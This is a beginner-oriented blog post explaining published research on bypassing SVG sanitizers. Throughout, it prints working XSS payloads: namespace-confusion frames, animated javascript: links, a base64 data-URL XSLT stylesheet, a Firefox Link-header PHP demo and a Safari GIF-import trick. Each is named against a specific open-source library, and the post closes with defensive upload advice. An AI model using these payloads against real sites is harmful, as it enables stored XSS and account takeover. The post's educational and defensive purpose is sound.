October 27, 2026
6 of 8 SVG Sanitizers Got Broken: How a "Safe" Image Upload Can Run JavaScript (SVG XSS)
A beginner-friendly breakdown of PortSwigger's SVG XSS research: namespace tricks, XSLT, a Firefox header bug and a GIF that becomes SVG.

By Iamarbaz
8 min read
6 of 8 SVG Sanitizers Got Broken. Your "Safe" Image Upload Might Be Running JavaScript
A from-scratch walkthrough of PortSwigger's "Scalable Vector Grief" research, written for people who are new to SVG XSS
Gareth Heyes at PortSwigger published a post called "Scalable Vector Grief" on 27 October 2026. He took eight popular SVG sanitizers, threw some very creative payloads at them, and got past six. Along the way he showed two browser behaviours I didn't know existed: Firefox running JavaScript from a response header while the body is plain harmless XML, and Safari importing a GIF as if it were SVG.
The original post is short and assumes you already know your way around XML namespaces and XSLT. I wanted to write the version I would have needed a few years ago, starting from what an SVG even is. All the research credit goes to Gareth. You can read his post here: https://portswigger.net/research/scalable-vector-grief
First, what is an SVG?
PNG, JPG and GIF files are pixels. The browser reads the colours and paints them. There's no logic in there.
SVG (Scalable Vector Graphics) works differently. An SVG file is plain text written in XML, which is a close relative of HTML. It doesn't store pixels. It stores drawing instructions:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="40" fill="red" />
</svg><svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="40" fill="red" />
</svg>Open that in a browser and you get a red circle.
The catch is that SVG is a full markup language. It can hold <script> tags, event handlers like onload and onerror, links, animations, and even embedded HTML. So an "image" can behave a lot like a web page.
Why that makes uploads dangerous
Say a site lets you upload a profile picture. You upload avatar.svg, and the site stores it at example.com/uploads/avatar.svg.
When somebody opens that URL, the browser renders the SVG and runs any JavaScript inside it on example.com. That's stored cross-site scripting. The attacker's code runs as the site, so it can read what the victim sees, make requests as the logged-in user, change account settings, and grab any tokens JavaScript can reach. A single image upload can end in account takeover.
So people use SVG sanitizers
Since raw SVG is risky, developers run uploads through a sanitizer first. It parses the file, strips anything dangerous (scripts, event handlers, javascript: links and so on), and hands back a cleaned version.
Good idea in theory. The trouble is that SVG and XML are big, strange specs, and every browser interprets them a little differently. Miss one odd corner and an attacker walks straight through. That's the whole story of this research.
The eight libraries
Gareth tested the most popular SVG sanitizers (he admits he asked ChatGPT which ones those were):
Here's how each bypass works.
Bypass 1: namespace confusion
Library affected: mattkrick/sanitize-svg
In XML, a namespace tells the browser which language an element belongs to. You set it with the xmlns attribute. http://www.w3.org/2000/svg means SVG, and http://www.w3.org/1999/xhtml means HTML.
The usual way to put HTML inside an SVG is to wrap it in <foreignObject>. Because of that, plenty of sanitizers figure that blocking <foreignObject> is enough.
It isn't. You can switch the namespace on a single element to XHTML, and the browser will render that one element as HTML right inside the SVG. A <frame> with a JavaScript URL does the job:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<frame xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(document.domain)"/>
</svg><svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<frame xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(document.domain)"/>
</svg>The same trick works with <iframe>, which gives you srcdoc. That attribute lets you write a whole little HTML page inline:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
<iframe xmlns="http://www.w3.org/1999/xhtml" width="200" height="50"
srcdoc="<script>alert(document.domain)</script>"/>
</svg><svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
<iframe xmlns="http://www.w3.org/1999/xhtml" width="200" height="50"
srcdoc="<script>alert(document.domain)</script>"/>
</svg>This library did try to catch <foreignObject>, but its check had a bug. It rendered the SVG first, and the browser normalised the tag name to its proper camelCase form, foreignObject. Then the library searched with querySelectorAll('foreignobject'), all lowercase. The search found nothing, so this went straight through:
<svg xmlns="http://www.w3.org/2000/svg">
<foreignobject><img src=x onerror=alert(1)></foreignobject>
</svg><svg xmlns="http://www.w3.org/2000/svg">
<foreignobject><img src=x onerror=alert(1)></foreignobject>
</svg>Even a nested SVG with an onload handler slipped past:
<svg xmlns="http://www.w3.org/2000/svg"><svg onload="alert(1)"/></svg><svg xmlns="http://www.w3.org/2000/svg"><svg onload="alert(1)"/></svg>If your filter works by hunting for bad words, someone will find a spelling you didn't think of.
Bypass 2: animating a link into javascript:
Library affected: Borewit/svg-sanitizer
SVG has animation built in. The <animate> element can change any attribute of its parent over time. That includes colour and size, and it also includes href.
So you start with a link that has no href at all, which gives the sanitizer nothing to object to. Inside it you put an <animate> that sets href to a JavaScript URL, plus some text to click:
<svg xmlns="http://www.w3.org/2000/svg">
<a>
<animate attributeName="href" values="JavaScript:alert(1)"/>
<text x="20" y="20">XSS</text>
</a>
</svg><svg xmlns="http://www.w3.org/2000/svg">
<a>
<animate attributeName="href" values="JavaScript:alert(1)"/>
<text x="20" y="20">XSS</text>
</a>
</svg>The library let <animate> through untouched. In the browser, the animation writes the dangerous URL into the link, and clicking it runs the code.
Gareth bypassed the same library a second way with a trick from Kevin Mizu that uses <animateTransform> to set a JavaScript URL in Safari:
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="120" viewBox="0 0 1000 120">
<a id="target" href="#safe">
<text x="20" y="55" font-size="26">Wait one second, then click</text>
<animateTransform attributeName="href" type="invalid"
values="XXX;javascript:alert(1)//" begin="0s" dur="0.1s" fill="freeze"/>
</a>
</svg><svg xmlns="http://www.w3.org/2000/svg" width="800" height="120" viewBox="0 0 1000 120">
<a id="target" href="#safe">
<text x="20" y="55" font-size="26">Wait one second, then click</text>
<animateTransform attributeName="href" type="invalid"
values="XXX;javascript:alert(1)//" begin="0s" dur="0.1s" fill="freeze"/>
</a>
</svg>The link starts out pointing at #safe. A tenth of a second later the animation swaps in the javascript: URL, and fill="freeze" keeps it there.
A sanitizer checks what the file says. An animation changes what the file turns into after it loads.
Bypass 3: XSS from a self-contained XSLT stylesheet
Libraries affected: bgalek/safe-svg, mattkrick/sanitize-svg, alnorris/SVG-Sanitizer
This is where it gets clever.
XSLT is an old language for transforming XML into something else, like turning an XML document into an HTML page. You attach a stylesheet to an XML document with a processing instruction at the top:
<?xml-stylesheet type="text/xsl" href="style.xsl"?><?xml-stylesheet type="text/xsl" href="style.xsl"?>The browser loads style.xsl, runs the transform, and shows you the output instead of the original XML. If that output contains a script, the script runs.
Normally you'd need to upload a second .xsl file, which an attacker usually can't do. Gareth's trick is to point the processing instruction at a data: URL, which carries the file's contents inside the link itself.
Here's the stylesheet before encoding. It matches the root of the document and outputs an HTML page with a script in it:
<x:stylesheet xmlns:x="http://www.w3.org/1999/XSL/Transform" version="1.0">
<x:output method="html"/>
<x:template match="/">
<html><body>
<x:element name="{concat('scr','ipt')}">alert(document.domain)</x:element>
</body></html>
</x:template>
</x:stylesheet><x:stylesheet xmlns:x="http://www.w3.org/1999/XSL/Transform" version="1.0">
<x:output method="html"/>
<x:template match="/">
<html><body>
<x:element name="{concat('scr','ipt')}">alert(document.domain)</x:element>
</body></html>
</x:template>
</x:stylesheet>You base64 encode that (URL encoding works too, but base64 is tidier) and drop it into the processing instruction. Then you put a boring SVG underneath:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,PHg6c3R5bGVzaGVldCB4bWxuczp4PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHg6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4OnRlbXBsYXRlIG1hdGNoPSIvIj48aHRtbD48Ym9keT48eDplbGVtZW50IG5hbWU9Intjb25jYXQoJ3NjcicsJ2lwdCcpfSI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwveDplbGVtZW50PjwvYm9keT48L2h0bWw+PC94OnRlbXBsYXRlPjwveDpzdHlsZXNoZWV0Pg=="?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
<text x="10" y="30">XSS</text>
</svg><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,PHg6c3R5bGVzaGVldCB4bWxuczp4PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHg6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4OnRlbXBsYXRlIG1hdGNoPSIvIj48aHRtbD48Ym9keT48eDplbGVtZW50IG5hbWU9Intjb25jYXQoJ3NjcicsJ2lwdCcpfSI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwveDplbGVtZW50PjwvYm9keT48L2h0bWw+PC94OnRlbXBsYXRlPjwveDpzdHlsZXNoZWV0Pg=="?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
<text x="10" y="30">XSS</text>
</svg>The SVG part is just some text. The interesting stuff sits above the <svg> tag, where these three sanitizers weren't looking. The alert prints document.domain, which proves the code runs on the site's real origin and not in some null origin.
One timing note from Gareth: browser XSLT support is deprecated and due to be removed in November 2026. He said he was desperate to publish this one before it disappeared.
Bypass 4: a response header that runs JavaScript in Firefox
This one is my favourite, because the response body has nothing bad in it.
Servers send HTTP headers alongside every response. One of them is Link. Paulos Yibelo had once told Gareth that Firefox lets you load external CSS through a Link header. Gareth found that data URLs work there too, and then wondered whether XSLT would work the same way. It does.
He first needed a stylesheet small enough to live in a URL, and he built it in two layers. The outer stylesheet is URL encoded into a data URL. Inside it, XSLT's document() function loads a second data URL (URL encoded again) containing an XHTML <img> with an onerror handler. The stylesheet copies that <img> into a <foreignObject>, where it fires.
Decoded, the stylesheet looks like this:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<foreignObject width="400" height="200">
<xsl:copy-of select="document('data:application/xml,<div xmlns="http://www.w3.org/1999/xhtml"><img src="1" onerror="alert(document.domain)" /></div>')/*"/>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<foreignObject width="400" height="200">
<xsl:copy-of select="document('data:application/xml,<div xmlns="http://www.w3.org/1999/xhtml"><img src="1" onerror="alert(document.domain)" /></div>')/*"/>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>Then you move it out of the document and into a Link header. A small PHP demo:
<?php
header("Content-Type: text/xml");
header('Link: <data:application/xml,...URL-ENCODED-STYLESHEET...>; rel="stylesheet"; type="text/xsl"');
?>
<x>
<b>foo</b>
</x><?php
header("Content-Type: text/xml");
header('Link: <data:application/xml,...URL-ENCODED-STYLESHEET...>; rel="stylesheet"; type="text/xsl"');
?>
<x>
<b>foo</b>
</x>The full encoded payload is in Gareth's post, and he shared it in Hackvertor if you want to play with it.
Load that page in Firefox and the body is just <x><b>foo</b></x>. Firefox reads the header, applies the stylesheet, and the alert fires anyway.
In practice, this means anywhere an attacker can inject or control a response header on an XML response could turn into XSS in Firefox. Anyone checking only the body would see nothing wrong.
Bypass 5: Safari imports a GIF as SVG
Libraries affected: cloudflare/svg-hush, jams2/py-svg-hush, bgalek/safe-svg
SVG has a <use> element that pulls in a piece of another SVG file, something like "draw the shape with id x from that file here." Firefox and Safari both allow this for same-origin files. Safari goes a step further and will import an image file as if it were SVG.
Here's the SVG the sanitizer sees. It has no scripts and no handlers, just a reference:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
<use href="test.png#x" />
</svg><?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
<use href="test.png#x" />
</svg>And here's test.png, which is really SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
<g id="x">
<image href="1" onerror="alert(1)" />
</g>
</svg><?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
<g id="x">
<image href="1" onerror="alert(1)" />
</g>
</svg>Safari pulls group #x out of the "PNG," the broken image triggers onerror, and the JavaScript runs.
You can't build a true SVG/image polyglot (one file that's valid as both) because SVG is too strict about its format. You don't need one, though. If you can upload a GIF that contains the payload, the GIF won't render when someone opens it directly, but <use> can still import it. This single line got past all three libraries:
<svg xmlns="http://www.w3.org/2000/svg"><use href="/svg/test.gif#x" /></svg><svg xmlns="http://www.w3.org/2000/svg"><use href="/svg/test.gif#x" /></svg>This worries me more than the others. A lot of sites sanitize SVG uploads carefully and wave GIFs and PNGs through because they're "just images."
Who survived
- cure53/DOMPurify: survived everything
- darylldoyle/svg-sanitizer: survived everything
- mattkrick/sanitize-svg: bypassed with namespace confusion and the XSLT data URL
- Borewit/svg-sanitizer: bypassed with animate
- bgalek/safe-svg: bypassed with the XSLT data URL and the Safari
<use>import - alnorris/SVG-Sanitizer: bypassed with the XSLT data URL
- cloudflare/svg-hush: bypassed with the Safari
<use>import - jams2/py-svg-hush: bypassed with the Safari
<use>import
Gareth also says he exploited two popular applications with these techniques that he can't name yet, and he'll update his post when he can. He was impressed that DOMPurify and darylldoyle/svg-sanitizer held up against everything.
If you accept SVG uploads
Start with a sanitizer that has held up. In this research that was DOMPurify or darylldoyle/svg-sanitizer, and you should keep whichever you pick updated. Configure it with an allow-list of the elements and attributes you actually need instead of a block-list of bad ones. Animation elements (<animate>, <animateTransform>, <set>), <use> pointing at other files, and anything above the <svg> tag such as <?xml-stylesheet ...?> should all go.
Then assume the sanitizer will miss something eventually. Serve user uploads from a separate domain so that XSS there can't touch your main site's session. Add a strict Content-Security-Policy with sandbox on upload responses, send X-Content-Type-Options: nosniff with the correct Content-Type, and use Content-Disposition: attachment for files that don't need to display inline. Check image files by their content rather than their extension, and re-encode uploads on the server where you can. If you don't truly need vector output, convert SVGs to PNG on upload and never serve the original.
Finally, keep user input out of response headers, Link in particular.
Wrapping up
None of these tricks need special tools. They need someone who knows how browsers actually read files. If you hunt bugs, the upload forms you skipped past are worth another look. If you build things, go check what your sanitizer really strips.
Again, all credit to Gareth Heyes and PortSwigger Research. The original: https://portswigger.net/research/scalable-vector-grief
If this helped SVG XSS click for you, a clap or a share helps other people find it.
This article is for education and authorised testing only. Only test systems you own or have written permission to test.